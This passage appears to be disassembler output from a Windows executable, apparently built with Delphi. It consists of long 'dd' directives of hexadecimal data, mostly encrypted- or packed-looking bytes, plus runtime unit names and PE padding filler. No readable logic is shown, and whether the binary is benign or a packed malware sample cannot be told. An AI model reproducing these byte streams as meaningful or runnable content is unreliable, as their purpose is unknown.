1457BDA8h dd 64D2BD01h, 0F44BB7F0h, 5AA63CF3h, 0F5645491h, 69252564h dd 38BD1640h, 462DF46Dh, 766D57F9h, 0BFF8AE3Fh, 990452CEh dd 1AB6709Eh, 176CDA83h, 75C130EDh, 103FF058h, 0F4BE7D53h dd 1B4DC39Eh, 71F15F60h, 0BB3B3D9Ch, 12FAF50Ah, 845E0D45h dd 90E619h, 0F4AC8BFEh, 86E1CFD9h, 4AC0B22Ch, 8F020F3Eh dd 924F206Fh, 5B9C76DFh, 0EEF71F60h, 6DD79D95h, 0A987B3E0h dd 64615F69h, 0D691065h, 9ABFE42Eh, 0CF58134Eh, 0A1ED69F3h dd 0D5B8953Bh, 7802AD03h, 0BB4164B6h, 1E0DBD7Fh, 0DE168570h dd 3814C92Bh, 5FCC2C4Bh, 4552418Fh, 9A62D1D0h, 0C341E187h dd 95CFFDCDh, 0E63D7AD0h, 0E7AE5DCEh, 0FFA2D0DCh, 536DD78Bh dd 7633ABADh, 0DD6F12AFh, 256DD426h, 2F5B2695h, 0A223D5CEh dd 0D8666C5Ah, 5DBA0008h, 844E5CB8h, 4DB4324Dh, 0A4248713h dd 8198274Bh, 6AAD3246h, 0DD91DDBFh, 1F6B4703h, 1C7429DEh dd 0C8D1CAABh, 0BBC08CC2h, 0CDC3A4C7h, 6D63531Ch, 0CDFBE9D0h dd 957C4CADh, 0CEE40A79h, 65B15561h, 7D166B77h, 0B94337C6h dd 7EABFBE9h, 3743E884h, 29A75465h, 0E8C507EBh, 0B26E4ED2h dd 0A9159263h, 95CBADDDh, 3DC75EE2h, 8355E00Bh, 7CD6FE5Ah dd 8445CE5Ah, 42EF859Ch, 0D7503D46h, 1DDC1F6Dh, 940B9581h dd 0D7BD2540h, 5241D0B6h, 0EAA69EA7h, 940A8AC6h, 7D1A47BCh dd 0A79EDB9h, 0C421299Bh, 28666A68h, 0DFE3FD44h, 0A637B560h dd 44786A4Fh, 79181B60h, 1F5055FDh, 0AE6C5F9Fh, 0C308D7E6h dd 0A29B29C2h, 43240B3Fh, 86987681h, 0D53BA93Ah, 0BE2CAFDEh dd 0EF749121h, 8491F02h, 0D37BF99Dh, 0B74632CBh, 7C255D5Eh dd 0CDB75732h, 3BEDE4ECh, 11B8D37Ah, 3B10FE8Ah, 592CF61Fh dd 0B3196B22h, 40D788E8h, 40CD5EF9h, 9E280AEBh, 0A4B237D4h dd 0B28ABE93h, 50B7A01Dh, 68EFBB6Dh, 32315453h, 9773193Ch dd 6D4FA44h, 0DA6C7AEAh dd 0EB5A8A52h, 2E28ADA9h, 1F4952F4h, 0A7706646h, 1DD44FD2h dd 0E7A21916h, 219DA10h, 4563CDEEh, 1B90B939h, 24B0575Ah dd 96E3C1CBh, 6A879E0Ah, 88143CD5h, 8AF4DC12h, 0F3BD2795h dd 5A05D4ADh, 26514A5Dh, 0A28C971Dh, 634F2298h, 30132265h dd 32314878h, 318481E2h, 1852E632h, 0A49055E0h, 0A1808274h dd 5945795Eh, 0CC680918h, 87B34C04h, 39C4DA0Ch, 0B30C046Fh dd 0B1FC241Bh, 0A300A0C3h, 80D3E16Bh, 45970ACh, 0E9994AEDh dd 29E641EFh, 0F8D65EA5h, 0CC0F22C6h, 84000E9Bh, 0D3FC8F08h dd 0EC263683h, 0F94C5D96h, 0F7A32EF2h, 0D8F8DCFFh, 0B8CA878Ch dd 791FBA20h, 0B18E468Ah, 0F96E7708h, 0A8D9CF7Eh, 72A30518h dd 60628F93h, 0D809FF36h, 9F5C0BAFh, 0DBC289D1h, 4278FD9Bh dd 56092AE1h, 90866BBh, 0CDCDBFFBh, 0E1C9F385h, 35D15816h dd 0CCB97E8Eh, 4FA304E0h, 4EDD4B47h, 51525CD9h, 0FFAD02C5h dd 3AC9CCBh, 0FF702271h, 0E2087878h, 0E52380A9h, 908E6DD3h dd 0B182060Ah, 0C24C75F9h, 78A799BDh, 0F3BD4CD4h, 8CCFF021h dd 9FA27B14h, 8EA5C494h, 0ECD2C318h, 0D6010E27h, 97836429h dd 2862E9DBh, 0EC5A74DEh, 0D96AA8CBh, 0C7CFCA40h, 0CFF1BA6Fh dd 0E0AD4704h, 0A606B308h, 0C76E5401h, 0C46257D1h, 71D148D6h dd 32310784h, 0A09A502Bh, 0E7659B01h, 0C6D2C335h, 0DFA5E9CFh dd 0F5088FF9h, 0CF23289Fh, 0ECD92853h, 7027CA55h, 31DBB8B3h dd 0C15C6D32h, 9763030h, 9136316Bh, 0BC353119h, 0F5B4555Dh dd 55ADB435h, 3DA63259h, 555575BCh, 3DCDB6BAh, 3D1C3331h dd 3DC9B6BCh, 0B6BA3331h, 33313DCDh, 3DF5E6BEh, 0CEBE3331h dd 333135B3h, 719B3064h, 41323199h, 31993331h, 313D5132h dd 32319B32h, 3D5EC630h, 0B6BA3331h, 33313DC5h, 31328A19h dd 91511C33h, 3DCDB6BCh, 0E6303331h, 33313DC5h, 32686530h dd 0A5305535h, 35323568h, 92043055h, 0B439F8B4h, 3231686Dh dd 0EEB40BA6h, 34313DD9h, 0EEB43FA5h, 34313DDDh, 231936A5h dd 0BE333132h, 843568A5h, 3199719Bh, 33314132h, 31331299h dd 32319B33h, 3D5EC630h, 0B6BA3331h, 33313DF1h, 0E630918Ch dd 33313DC5h, 0F1E63087h, 3033313Dh, 0E6BC9204h, 33313DF1h dd 321CF7BCh, 3269B171h, 0BC712BA6h, 0CDEE3469h, 0B433313Dh dd 0B6BA35F1h, 33313DEDh, 3087A31Ch, 313D56C6h, 0A6F13C33h dd 33171936h, 0F1B63331h, 31DCB540h, 0E9B6BA34h, 0BC33313Dh dd 0BC5F1CF7h, 313DEDB6h, 3231BC33h, 0E9E63081h, 1933313Dh dd 3331335Fh, 0B540F1B6h, 0BA3431B6h, 0EDB6B438h, 3533313Dh dd 0BC35F8B4h, 313DEDB6h, 3169B433h, 1CFEA632h, 6FB17732h dd 2BA63231h, 35F1B477h, 0EE3469BCh, 33313DCDh, 0BA35F1B4h dd 313DEDB6h, 326FB133h, 3199BAA6h, 33317132h, 31331299h dd 0F1E63033h, 3033313Dh, 313D62C6h, 32319933h, 9B3331B1h dd 0E6303231h, 33313DF1h, 3D62C630h, 31993331h, 3331B132h dd 3032319Bh, 313DC5E6h, 62C63033h, 1933313Dh, 19343192h dd 3331328Dh, 0EB9F1A92h, 0F492302Fh, 0C1B6BE91h, 8133313Dh dd 3199719Bh, 33313332h, 3DCDE630h, 0C6303331h, 33313D66h dd 3DC1B6F8h, 31323331h, 0BC333532h, 313DCDB6h, 6D713433h dd 45713497h, 0BC49F1B4h, 0CE343D89h, 33313DCDh, 0BE3979BCh dd 313DC1B6h, 719B8133h, 0C6308482h, 33313D66h, 0BC91F492h dd 313DD1E6h, 0A5273C33h, 0C9EEBCA8h, 0BC33313Dh, 313DCDB6h dd 0A5F86C33h, 1C213498h, 0BC47BC8Fh, 0B6BA3577h, 33313DD5h dd 3DD5E632h, 0CEBC3331h, 33313DCDh, 0F7B4FA64h, 40691C39h dd 116D37E7h, 348145A4h, 34F434F3h, 553D34F2h, 5A35F5B4h dd 77493269h, 0E8404E1Ch, 97F5B737h, 1132315Eh, 34F33481h dd 34F234F4h, 0F5B4553Dh, 32695A35h, 33F7B449h, 3DD5E66Ch dd 0F1A33331h, 32316FB4h, 0F492CEA6h, 0D9E6BC91h, 3433313Dh dd 313DCDE6h, 0BC2FBC33h, 313DDDBEh, 0E1EEB433h, 3D31EB6Eh dd 65A53431h, 31B15C1Ch, 36A5196Fh, 0A61A6FB1h, 77BC5031h dd 0E1B66B32h, 3331313Dh, 31E13FA6h, 0F9314032h, 343619B4h dd 31F75CF8h, 0B43277BAh, 1AB435F7h, 7A773531h, 32312AB4h dd 1C01B1A8h, 511CCA59h, 730D3773h, 409F3144h, 35F35CF9h dd 3932F37Fh, 0F4920C85h, 0D1E6BC91h, 0BCD53142h, 3B31CDE6h dd 316DA734h, 31F1E7BCh, 0A5273C34h, 33346035h, 3DF7B453h dd 313267BCh, 37BC513Fh, 0B487491Ch, 32316931h, 319B3DA5h dd 329BB932h, 304F3330h, 84318F01h, 3C37BC31h, 9215A6F1h dd 75BE31F4h, 0BC913555h, 7731BC21h, 39F1F235h, 31A6B16Dh dd 39F9F24Fh, 0B1343166h, 33316E31h, 0A7323132h, 3C32324Dh dd 19673081h, 75343151h, 4C313E1Ch, 3135A730h, 3175423Eh dd 30453134h, 80315AC6h, 557531BAh, 39F3924Dh, 91313231h dd 55558DBCh, 3134FCBCh, 8CBC6D8Ch, 0BC0A34A9h, 3451AC31h dd 0BE27642Ah, 0BCE83145h, 64023443h, 0F131F2F1h, 73336338h dd 31316BB1h, 6C26A632h, 0A5595575h, 6C7737B1h, 11A349A4h dd 0BA754135h, 0BE543685h, 5C3149B6h, 0C6303981h, 99343156h dd 3174C419h, 861981A8h, 0BC303030h, 719B29B1h, 41323199h dd 35413B31h, 31333132h, 5EC6309Ah, 0B67132CAh, 0B24532E5h dd 32E6303Ah, 0EEB47536h, 0A534A4B1h, 1CA8B439h, 0E63037C1h dd 8ACB2C9h, 414533BCh, 0B171321Ch, 2BA6BAB1h, 0F735311Ch dd 0B1793331h, 0A6318D69h, 381C7128h, 714FE740h, 717749B9h dd 3E316FB1h, 54B4A025h, 0A0B271B4h, 0B4B16C31h, 623D3569h dd 9233B132h, 1DBC86F4h, 61311DB4h, 0BC71F164h, 31BA41AEh dd 76BA1D76h, 1976BA15h, 976BA31h, 353231E9h, 64333131h dd 3867EA03h, 32313134h, 76BCDC24h, 31369B3Dh, 0BA2976BAh dd 86B92186h, 86BA3031h, 3D86BA25h, 30F931B4h, 29A6BC8Ah dd 3D3186BCh, 0F267E740h, 513C3913h, 29763007h, 0A637317Ah dd 0A6BC311Ah, 257EBC21h, 413186BCh, 0F23417B4h, 31343512h dd 34316EFFh, 0BB6DBE32h, 0BC48A4B1h, 7EBC2986h, 43313D31h dd 3C3912F2h, 3311F2FBh, 0BA3DF139h, 40BC3D7Eh, 0F20931BCh dd 0E0403C1Ch, 8E516A0Ah, 9BB4403Dh, 31EF7371h, 31393231h dd 0F2225C33h, 3436311Fh, 7EE74022h, 0FA399A30h, 5E313231h dd 68BA0364h, 41A6BC31h, 25AEB473h, 0BDBE5138h, 0F14D093Fh dd 31BAF4C2h, 0BD40117Eh, 0BC3431D0h, 5C217E31h, 0A6BC1D7Eh dd 0E7403139h, 7EBA3F3Dh, 9631020Dh, 0DA6BC0Dh, 6111AEBCh dd 323117B2h, 52F34631h, 0BEB9633Dh, 6933C0BDh, 0B1057EBAh dd 298E4155h, 55B1AEBCh, 3918F24Ch, 0B52C3C39h, 0BC3DAE55h dd 29BC413Ah, 55B120F2h, 71AE6A2Ah, 0BC50A43Dh, 5534F0F8h dd 20F2312Ah, 0BC2A3436h, 3431057Eh, 0BA27B603h, 33B6406Ah dd 4AC731B3h, 5C3DAE5Ah, 0F2BC33F8h, 0B6005C37h, 31AEBC27h dd 0BE40BA05h, 0A5324385h, 2BB298B9h, 0BD404F33h, 35B131A4h dd 5132921Ch, 0BE117EBCh, 31C2DF6Dh, 0F280314Fh, 73F26773h dd 3973FAFFh, 311FF221h, 0A66A224Fh, 45A4413Dh, 737BF7BCh dd 313468BAh, 5A431C03h, 0F75C3DA6h, 3572BC63h, 4B74FF5Ch dd 0D0AD4AF5h, 0B18FF35Ch, 79312143h, 0B99C3135h, 0AE623145h dd 2596B43Ah, 1AD13231h, 30302F9Ah, 0F13B3671h, 259E5134h dd 0B28B1A34h, 39259E34h, 31821A37h, 3D8E5A33h, 0F20231BCh dd 0FB5C361Bh, 253986BCh dd 4512F45Ch, 7EBC40BAh, 0C5BE4131h, 343231C2h, 0F133DB31h dd 46F4AE46h, 46F270h, 3B4B46F8h, 1D74551Ah, 0BC65D255h dd 0BA31197Eh, 7EBC097Eh, 317EBA15h, 1D7EBC19h, 7EBA6BBAh dd 37AE1539h, 381C4373h, 25B576F8h, 41671234h, 0D1F9F2B2h dd 1A1A8D6Ch, 5ABA49B1h, 0D43B4233h, 0ED49BE7Ah, 427461BBh dd 0F20179E7h, 42713A1Bh, 83B16A02h, 3431D2B4h, 4294EC73h dd 361CF20Ah, 0C17EAA11h, 40F2B425h, 50BA8211h, 343D8EF1h dd 0B15771FFh, 6DBEF362h, 4AA4FDC0h, 89713AF1h, 3C51F3BCh dd 0A1FA3BF6h, 0D26EA43Bh, 0D4EBF35Ch, 4656F23Bh, 92FAB311h dd 4391BA4Dh, 0F1CE4039h, 3A7DBEF2h, 46B1BA3Ah, 0B1328113h dd 3B3DBB61h, 0B9307EB9h, 1A633D51h, 5DB12D1Dh, 5C353D86h dd 0BA5DF5F3h, 31111A40h, 335A3457h, 41867493h, 0BE255FF2h dd 91BBC589h, 5FD65FF0h, 1584DF46h, 1C6BBA41h, 0C55927ABh dd 0D09CC1BBh, 193CC83Ch, 0BA483CB1h, 863C313Ch, 96C7132h dd 0BC0986BAh, 0BA531586h, 1D863291h, 7E3231BAh, 54D4341Dh dd 0B47A5431h, 0F2B42E12h, 54933C17h, 45016E91h, 4194A2B4h dd 703BB972h, 9508B972h, 0BC3D8641h, 41958642h, 4E41922Bh dd 922B4197h, 0F2312B41h, 96B43617h, 3132310Dh, 7DBE6ABAh dd 8F1C3962h, 9242B484h, 53085C34h, 3C48424Eh, 5A353B82h dd 3C605C3Ch, 0BE35AABAh, 3962BD31h, 0F8333133h, 390DB176h dd 76F83431h, 55857111h, 3DB1541Ch, 9F7223BCh, 0F8B15C07h dd 0B23582BAh, 0B97139F2h, 4135713Eh, 36313573h, 641186BCh dd 86BA0C11h, 4C557405h, 4138D4BBh, 35CA4505h, 0AD3223ADh dd 92AD3746h, 2334313Ch, 34CA65BAh, 44371C0Ch, 3EF4AD54h dd 0BECA45BAh, 324CB18Dh, 0A6057E30h, 31B8B1D6h, 0BC730364h dd 0BC170423h, 5C0D7E71h, 0F20A34FFh, 8E51BAADh, 0C5BE4001h dd 76B49851h, 0B4382531h, 35AE352Ch, 1CFCD1BCh, 11349B34h dd 6C7141E4h, 3FEDBE51h, 467237F1h, 31FD3705h, 0A2449834h dd 0FAC83DC0h, 6A3AE878h, 0C86578F5h, 3AE57801h, 0C83D7805h dd 0E3781234h, 711BB43Ah, 51352BB4h, 0BD402BBCh, 0FB41F109h dd 0B42A3102h, 0B47A3218h, 0B4353300h, 1D89E12Bh, 180443AEh dd 2200BC35h, 0CDBE4176h, 3B6BEDBBh, 81779DB1h, 0E943F0B2h dd 31190243h, 766A3034h, 5A37A33Dh, 0B43D7631h, 0A67A3200h dd 8EBC7101h, 0B9F4B241h, 31F273C1h, 76F83518h, 3431351Dh dd 72FA64F1h, 0F1118EBAh, 0BE35D08Fh, 90BC488Bh, 0BC488A48h dd 8D91FA34h, 0BC3DA651h, 48B7118Eh, 0D81AE3Ch, 61BC45BAh dd 95B1326Eh, 1D7E3130h, 0BA78CDA6h, 0A5511DAEh, 18EBC5Fh dd 5C746F41h, 347400B1h, 42BB397Eh, 0AEB97272h, 6F117C39h dd 530CB672h, 0A6687188h, 29241A1Ah, 31AEB041h, 0BC061C1Dh dd 0F3FA2176h, 3E313DF1h, 2133E823h, 313171A8h, 0A3969C46h dd 649D969Fh, 955F6331h, 32319D9Dh, 0A1E9DB48h, 31725632h dd 74317266h, 81333172h, 7D383171h, 7D9592A0h, 0A3939A31h dd 72AAA392h, 78333131h, 0A381A596h, 723194A0h, 96A39595h dd 3131A4A4h, 0A39A8733h, 9D92A6A5h, 9D9D7251h, 310794A0h dd 963DA377h, 1131F796h, 9496A533h, 34314DA5h, 5A11B841h dd 3335C111h, 71378131h, 5C413F31h, 36310191h, 414531C9h dd 32015F81h, 31A1B727h, 3251A143h, 31B1B802h, 313132B1h dd 0F7C55737h, 16D663F5h, 8887EA31h, 25FD9479h, 48B431B3h dd 0FF302854h, 0B03198ABh, 0C157EF0Eh, 31ADEAA1h, 90FBB25Fh dd 30A5EEF1h, 0BD09C331h, 0A9947A9Dh, 0BA133167h, 0B41E1E77h dd 9E319286h, 71C44749h, 316259C2h, 69C6E4CEh, 0E240BBFBh dd 7BC18731h, 8CCF4771h, 0A8963198h, 0A1A512D8h, 0FC310A5Fh dd 0A18DCC93h, 316154BCh, 0C8914801h, 0B18D4A41h, 0EBEAAC31h dd 0A4D5903h, 0A583110h, 88FEE3DCh, 30315399h, 0B680DC0Ch dd 3104301Dh, 5B2AC27Fh, 441F1DC7h, 0B4146531h, 94B1B145h dd 0CC423160h, 0E42AA938h, 24316976h, 5CFE13EEh, 31D31B64h dd 4F0E2953h, 48F29140h, 0E2634E31h, 0F81D2EE9h, 4444315Ah dd 3DA39BDDh, 8A31BD97h, 96A1D6ADh, 310CE0E1h, 0CFB6D695h dd 5EFCBF4Fh, 0E3A46F31h, 22E52FCAh, 0D562311Fh, 0A55C2BA5h dd 6131BBEBh, 294DA900h, 31482823h, 0FF564085h, 3B5A1119h dd 453D1A31h, 84C5503Ah, 0E60631D0h, 0A526E6E7h, 0BC3105D7h dd 9372814Bh, 31FCA85Ch, 0FF3564ACh, 71807865h, 0CAB38B31h dd 0BF53726Fh, 40FD3173h, 0CC0DF4B9h, 0EF3181C1h, 54BDDF07h dd 31A514F4h, 61F66E9Eh, 0BED3C24h, 5186C531h, 0D26D536Dh dd 0ED9A3127h, 0ACA93290h, 3E315A37h, 0CA80DC07h, 31BEA8A2h dd 1E1CA925h, 8E565C9Ch, 0AB3CA731h, 6CDFD676h, 938D3147h dd 0B5F48497h, 4731194Fh, 1644685Ch, 31D2EA2Ch, 0B6C5A252h dd 54999761h, 54960731h, 0FB483FCCh, 0BE783118h, 34DA0AB4h dd 0A931BC4Bh, 4001C47h, 312315B0h, 0CEEA22Eh, 0BDBC1E66h dd 3F2E3F31h, 0F681487Ah, 0D05A31CFh, 0B4E4D87Ch, 3A31DD47h dd 0A368E60Bh, 31927134h, 0CCEAFF2Eh, 0C6B7DA4Ah, 247AB31h dd 2DF0D55Ah, 18B931F1h, 0E01438F0h, 0BB31DAFCh, 3E720DF5h dd 31D6CDB9h, 0CD568DCFh, 0EE030506h, 15C09E31h, 652D611Ah dd 36B5317Fh, 8B3DE3DAh, 6C316FC5h, 0A80C64BBh, 314DD3FFh dd 0B4F5E898h, 0E10F195Dh, 1A3CB431h, 0D4899A65h, 5E6C3127h dd 5103F24Ah, 0AD31CD5Fh, 0C454E90Fh, 31851438h, 0AE6A64D6h dd 514012B6h, 49191631h, 71C7CCB3h, 0D91031F8h, 19B680B8h dd 2318720h, 1F7C42EEh, 317092DFh, 91AF937Bh, 0EEF1AEA4h dd 1B8DEA31h, 5AC33231h, 0AFD9314Fh, 0A2F09F25h, 5A31A506h dd 0DBC5DFBBh, 314D85D0h, 979A0B2Ah, 0DC6B6030h, 2A617A31h dd 24C3246Eh, 0D13D31EDh, 0AFEFE5F9h, 0B6310984h, 91C65F0Eh dd 31E17760h, 82453449h, 0E76D5E34h, 20462531h, 1F53EDDCh dd 31223180h, 6D8FC132h, 0DC319A2Ch, 5BC1E2EEh, 31EEC42Ch dd 580E2FDEh, 54E32230h, 35316931h, 384F3D26h, 0B83782C2h dd 34224F3h, 833A9B17h, 40h dup(0) dd 50000100h, 0CC000001h, 0 dd 9, 704FDF01h, 74536E65h, 10006275h, 7379539Dh, 736E6F43h dd 0C7000074h, 74737953h, 6D65h, 73795381h, 74696E49h dd 54551000h, 73657079h, 72D50000h, 6F437465h, 6572706Dh dd 0C007373h, 6E69574Bh, 73776F64h, 53020000h, 74557379h dd 736C69h, 68532A0Ch, 416C6C65h, 4950h, 44444150h, 58474E49h dd 44415058h, 474E4944h, 44444150h, 58474E49h, 44415058h dd 474E4944h, 44444150h, 58474E49h, 44415058h, 474E4944h dd 44444150h, 58474E49h, 44415058h, 474E4944h, 44444150h dd 58474E49h, 44415058h, 474E4944h, 44444150h, 58474E49h dd 44415058h, 474E4944h, 44444150h, 58474E49h, 44415058h dd 474E4944h, 44444150h, 58474E49h, 44415058h, 474E4944h dd 44444150h, 58474E49h, 44415058h, 474E4944h, 44444150h dd 58474E49h, 44415058h, 474E4944h, 44444150h, 58474E49h dd 44415058h, 474E4944h, 44444150h, 58474E49h, 44415058h dd 474E4944h, 44444150h, 58474E49h, 44415058h, 474E4944h dd 44444150h, 58474E49h, 44415058h, 474E4944h, 44444150h dd 58474E49h, 44415058h, 474E4944h, 44444150h, 58474E49h dd 44415058h, 474E4944h, 44444150h, 58474E49h, 44415058h dd 474E4944h, 44444150h, 58474E49h, 44415058h, 474E4944h dd 44444150h, 58474E49h, 44415058h, 474E4944h, 44444150h dd 58474E49h, 44415058h, 474E4944h, 44444150h, 58474E49h dd 44415058h, 474E4944h, 44444150h, 58474E49h, 44415058h dd 474E4944h, 44444150h, 58474E49h, 44415058h, 474E4944h dd 44444150h, 58474E49h, 44415058h, 474E4944h, 44444150h dd 58474E49h, 44415058h, 474E4944h, 44444150h, 58474E49h dd 44415058h, 474E4944h, 44444150h, 58474E49h, 44415058h dd 474E4944h, 44444150h, 58474E49h, 44415058h, 474E4944h dd 44444150h, 58474E49h, 44415058h, 474E4944h, 44444150h dd 58474E49h, 44415058h, 474E4944h, 44444150h, 58474E49h dd 44415058h, 474E4944h, 44444150h, 292827CEh, 928A02Ah dd 0F6A8A6D2h, 0BE343300h, 391148BEh, 1960B03Ah, 41A1BE3Ah dd 31544342h, 0F9C11E6Dh, 4D4C7981h, 78D3C7C4h, 0EDDD5352h dd 59586599h, 29B4A2DAh, 0E4F8D456h, 8E64634Bh, 0EDF0646Fh dd 0E66C6B43h, 6AFB6D35h, 0F49CF827h, 0EC7C531Ah, 0FC7C7A54h dd 91907A93h, 0A1F80882h, 193D0A82h, 348C9BB3h, 91908F8Eh dd 277C3761h, 12989796h, 9D377352h, 608B9F9Eh, 0A599DAD6h dd 0DEA8A7A7h, 0AD4F2AD8h, 304F505Eh, 0DDE0FDC9h, 0B1CCC4DFh dd 0BCBC503Bh, 2EB5BFBEh, 86C70049h, 0B1984CFAh, 9DF44AACh dd 0D239BA8Bh, 0F5A65801h, 0DAC09D5Dh, 0DE718A29h, 9961B91Dh dd 90B497E0h, 0EC9066EFh, 89AD8885h, 1B12EA9Ah, 0DCDC18ABh dd 8B73D3FAh, 0EFFA2DEh, 4F0448F1h, 6187989h, 8E3C8CFDh dd 8881F809h, 11001E31h, 0FC449874h, 191822FEh, 9654F01Ah dd 31199B9Bh, 25240622h, 365C3726h, 290857A1h, 8B89AA3h dd 0BE993322h, 297AFBABh, 0B698903Ah, 5102EB83h, 95F1C842h dd 14485704h, 8E7D4489h, 0E8034386h, 55547B17h, 49688DDDh dd 82DA8870h, 83B6D91Eh, 45A73897h, 51686766h, 0B6EB77DDh dd 7C1C7D7h, 0FDA94FD2h, 80E4889h, 5CA6D6Bh, 59FD3702h dd 0BF9F93E6h, 54BC66AFh, 0CBC10DFBh, 5A80AEE6h, 18E59569h dd 0E168E950h, 755426A6h, 8D75F822h, 194F524Ah, 0FE5AD56Fh dd 0FA97DBACh, 8765C624h, 0D58CF3C8h, 41987459h, 51BB4B2Bh dd 0E6CFE019h, 0A3892C76h, 0F4085734h, 64E134BEh, 0C940AF51h dd 0CDB934EBh, 0B5CD96BAh, 7758DE71h, 342EFFF2h, 2DEC66F1h dd 0C4786265h, 42EF9B0Eh, 0FCB0AAB1h, 0FE4CA326h, 114DB7FFh dd 30F7CB6Eh, 0D9604A06h, 0C5F99066h, 0B148975Fh, 0F9A13D69h dd 88007F00h, 23DE769Fh, 0D47557EAh, 0F5C4BE32h, 0C41DF691h dd 0EDAC8DB8h, 9C40071Bh, 0DA445B5Dh, 171E5A8Dh, 55CD6366h dd 159CF805h, 0DE340B2Eh, 0D9DA8B85h, 0DF490A5h, 7880C79Ah dd 75DA8D7Bh, 0BB2C47D2h, 5D4683D6h, 1F8E82C5h, 7591EB1Eh dd 3BBEFB6Dh, 20EBF346h, 417867DFh, 7C6B909Eh, 69A08309h dd 0EDCCCE37h, 1455B7CAh, 15E459B2h, 0BB0F7AF1h, 46FC7F65h dd 2C06D36h, 3029227Eh, 990F4D7h, 61E7E865h, 1F6880F3h dd 1D033709h, 0F911BF21h, 530AA6F9h, 55ABA73Ah, 0A045EFEh dd 0A9E2D076h, 3DE674F6h, 41F076F0h, 0BD348BAAh, 19311F42h dd 0B32A46D9h, 0B18D471Ah, 0E7E6BF71h, 492AAF52h, 0DDAC6B06h dd 0A1D297BEh, 6298834Fh, 0D180FE88h, 2DFD73C7h, 0EFDE7215h dd 4F6C9B0Eh, 16200E32h, 6D7295A3h, 15DDF5Ah, 0C49DCB6Eh dd 0B3705F80h, 47BF4A66h, 24B78D20h, 2534C594h, 0AC39EF9h dd 0DD295ABh, 0E5F757FAh, 0F5D4A9FAh, 7990394Ah, 0A9E8FD86h dd 0EEA86BE6h, 957A29CBh, 0FFD54272h, 8E0C7361h, 7FA57AD3h dd 0E4341B10h, 0EC580CCCh, 8E9C53A4h, 0E1B63537h, 0E1EBBBFEh dd 0C9C02DD2h, 63EE065Dh, 51C7172Ah, 6E91640Fh, 0B2506F5Ah dd 0BD4229C3h, 5018986Ah, 0FCAC9E11h, 0EC2B8FA2h, 0FDDC1D70h dd 0ED9C725h, 5CD646Bh, 937D5402h, 2EDC83D8h, 30B9F8D0h dd 9C98FE31h, 840BEF82h, 9D7C7D44h, 9087DE99h, 3CD1A44Fh dd 1110AF1Bh, 6D3C32BEh, 0AE601AA7h, 0CA4FDBCEh, 70164F98h dd 0BE889309h, 1F2747Bh, 0BFE372ADh, 94287542h, 9D093093h dd 7111FE0Ah, 0E1E93B7Eh, 0B6BF511Fh, 500765A9h, 0A1B8DABEh dd 9EF26B8Eh, 12D4B86Fh, 0B87197F4h, 0D1F8DA1Eh, 478DFDB2h dd 2BA3A454h, 0F6B94134h, 69585D8Eh, 9574B982h, 0D91A9309h dd 4D36D7EDh, 0B1488722h, 74649136h, 0D90E0540h, 232256E9h dd 0E2A057EAh, 19BCEB0Ah, 0F2903FD0h, 66BCD952h, 7BE84D66h dd 0D746315Eh, 0C508CF18h, 0D70C6304h, 3E72A61Ah, 83A1F47Eh dd 0C6B08FFCh, 263D6FFh, 0F189C00Eh, 655136FEh, 70C03FC2h dd 5D2C8F6Dh, 84CBF8B1h, 0A514068Fh, 0BCDD7F72h, 0AD6CE704h dd 5388795h, 3AEE3BF4h, 577E1A4Dh, 3D4923A6h, 69ECC285h dd 15F44AA1h, 59F0CEEAh, 89B9C0E6h, 56BD65AFh, 0D3CD09EEh dd 6EE583FBh, 753B43F3h, 0E178D22Ah, 37189EB1h, 6CEFBF32h dd 6D2C0D64h, 0B7BD587Dh, 6FC4CBE0h, 56E225F2h, 2DB2B563h dd 40B0CE9Ah, 0FE238BAEh, 3D3C96A3h, 18E38472h, 71187990h dd 40E7CD4Dh, 49509064h, 22FB5756h, 0B186092Fh, 4154EE8Eh dd 4753B984h, 0D21201C2h, 0BBE0C39Eh, 0BA2EF11Eh, 0F91E99A7h dd 98C2636h, 89B0A486h, 0A674CB6Bh, 0E393CE4Bh, 726A965Fh dd 833D875Ah, 10087BFh, 0FA721C71h, 0DC6DEB62h, 61F8595Dh dd 0A384FF9Eh, 2AC06FF3h, 0D3F22679h, 0D12D27BAh, 7A4B2F07h dd 0A668EB06h, 0AD3355F3h, 3CDD1F1Ah, 0AA67F4D1h, 898EB957h dd 8C12B8A6h, 0F189EF4Eh, 0F01BECFEh, 0C9D011F4h, 630A1629h dd 0E1D1172Ah, 0B5EB14F5h, 53501538h, 0C77C9946h, 51690F6Ah dd 10F1B9Ah, 3F08FD8h, 208A8BAh, 0DEA0E138h, 26F44BDAh dd 0A62A37CBh, 58516C19h, 31D8129Bh, 0F5F52AECh, 37AA7A6Dh dd 59EF4386h, 1EF3145Ah, 750C7316h, 0F9108DCEh, 6D3C3D6Dh dd 9128A72Bh, 5C4DBDEh, 0A9E04FF2h, 3D8CCA72h, 4198779Ah dd 2AE7DDFFh, 90E2DD7h, 21457826h, 8A7D878Eh, 68A7D59Ch dd 5959D2C7h, 48535156h, 0A1A8A930h, 77D8EE07h, 0AF38FFF2h dd 61FC73C6h, 0A4838885h, 2C76CB6Eh, 8C4C6644h, 1C1AC651h dd 403D4236h, 8B9B6Eh, 0D96061B0h, 0F0C96EFh, 0ED8B875Ah dd 40579A7Ch, 0EC6D0E5Ch, 778E8C72h, 128C349Fh, 0A6A0FD92h dd 79E45CC7h, 9FC8C0EAh, 11C642C6h, 0E421291Dh, 4026AA06h dd 0BD4D061Ah, 0A07D8559h, 3C726E5Ah, 0F8FDFAAEh, 63F523D6h dd 0B28886EDh, 1185DE8Ch, 0A6B27FB7h, 2E5FE6B5h, 537B177Bh dd 0D0608A6Bh, 563D1A30h, 0C5289632h, 35090218h, 0A0F6589Eh dd 3DC5FBD3h, 9CA951DEh, 0F39BB7BEh, 70802A8Bh, 359FB056h dd 0BDB0F68Eh, 5F9B35F9h, 0CDD70BDFh, 4C809BFDh, 0C9182AEEh dd 801DA512h, 1C122B2Ah, 9044DA4Eh, 268566Bh, 0E55BDE79h dd 6C90B6BBh, 0EFE02A9Fh, 71E98684h, 20EA15F3h, 92B4F2DCh dd 70766B27h, 0F95DB64Ah, 1361357Eh, 96014F0Bh, 2C07AF13h dd 0B1C54522h, 0DBD1C4DFh, 50D36BEBh, 0D5B9B996h, 409527A3h dd 0B4AFE78Fh, 216BD66Ah, 0A1456347h, 1128CD57h, 4658763Fh dd 0F020BF0Bh, 0B0362FEFh, 2C12760Ah, 0B109E227h, 71509E79h dd 0D9700277h, 5C84B777h, 159D10FAh, 86A6CE98h, 79FE50CBh dd 0BBC8D6C1h, 78DB55CFh, 0FD013531h, 4C27CF33h, 0D1633502h dd 